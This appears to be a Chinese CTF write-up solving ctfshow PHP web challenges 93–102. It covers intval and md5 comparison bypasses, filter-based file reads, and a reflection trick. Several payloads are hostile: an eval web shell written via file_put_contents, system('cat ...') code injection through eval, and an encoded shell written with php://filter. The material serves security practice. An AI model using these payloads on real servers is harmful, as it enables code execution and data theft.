93
上面注释的是一些配置信息
然后包含flag.php页面
高亮显示
如果,先判断是否存在GET传参的参数num,如果弱比较等于4476,就会输出“no non no !”
如果包含字母那么就错误(包含大小写)
判断变量 $num
是否等于 4476,如果是,则输出变量 $flag
的值;否则,输出变量 $num
转换为整数后的值。
需要num的值等于4476,但又弱比较不可以,就是说可以转换进制,数值相同就行,因为不能用英文,所以16进制和32进制都不行,这是它的2,4,8进制
1000101111100
1011330
10574
可以看到intval函数的语法,要在前面加上0x或0
尝试传参?num=010574
94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){ // 在这个地方需要返回的值不能为0,也就是说0不能在第一位
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
所以?num=4476.0
95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){// 点匹配没了
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
利用八进制开头加号代替空格绕过?num=+010574
96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
payload
./flag.php
/var/www/html/flag.php
php://filter/resource=flag.php
97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5弱类型比较可以直接数组绕过,其结果都会转换为null
a[]=1&b[]=2
如果进行了string强制转类型后,则不再接受数组
弱碰撞:
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
强碰撞:
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了
99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
array_push() 函数:向数组尾部插入一个或多个元素
rand() 函数随机生成数组rand(min,max)
file_put_contents() 函数:写入函数
payload:
?n=5.php
content=<?php @eval($_POST['hack']);?>
content=<?php system('cat flag36d.php');?>
100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
php中OR与|| AND与&&的区别总结
因为赋值的优先级(=)高于and所以 v 0 的 值 可 以 由 v0的值可以由 v0的值可以由v1来控制,所以我们需要给其赋值为1也就是true
因为flag在类ctfshow中,所以可以直接命令执行
?v1=1&v2=var_dump($ctfshow)&v3=;
v1=1&v2=system("cat ctfshow.php")/*&v3=*/;
101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
这里牵扯到的是一个反射类的问题
php反射类 ReflectionClass使用例子
PHP的反射类ReflectionClass、ReflectionMethod使用实例
反射在 PHP 中的应用
看了半天,大概知道了
反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句
其属性为类的一个名称,这道题目里面类的名称为ctfshow
payload:?v1=1&v2=echo new ReflectionClass&v3=;
举个例子
<?php
class hacker{
public $hackername = "yn8rt";
const yn8rt='nb666';
public function show(){
echo $this->name,'<br>';
}
}
//有这么一个hacker类,假设我们不知道这个类是干什么用的,我们需要知道类里面的信息,这时候就需要用到ReflectionClass来对类进行反射
//现在我可以通过反射来获取这个类中的方法,属性,常量
//通过反射获取类的信息
$reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
$consts = $reflection->getConstants();//获取所有常量
$props = $reflection->getProperties();//获取所有属性
$methods = $reflection->getMethods();//获取所有方法
var_dump($consts);
var_dump($props);
var_dump($methods);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
返回值
array(1) {
["yn8rt"]=>
string(5) "nb666"
}
array(1) {
[0]=>
&object(ReflectionProperty)#2 (2) {
["name"]=>
string(10) "hackername"
["class"]=>
string(6) "hacker"
}
}
array(1) {
[0]=>
&object(ReflectionMethod)#3 (2) {
["name"]=>
string(4) "show"
["class"]=>
string(6) "hacker"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
如果没有指定方法的话,就会像题目中默认输出很多东西:
1.常量 Contants
2.属性 Property Names
3.方法 Method Names静态
4.属性 Static Properties
5.命名空间 Namespace
6.Person类是否为final或者abstract
7.Person类是否有某个方法
102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);// 这里的意思是从第二位开始截取
$str = call_user_func($v1,$s);// 回调函数,第一个参数为调用的函数,其余的为调用参数的值
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin
然后访问1.php去触发就可以了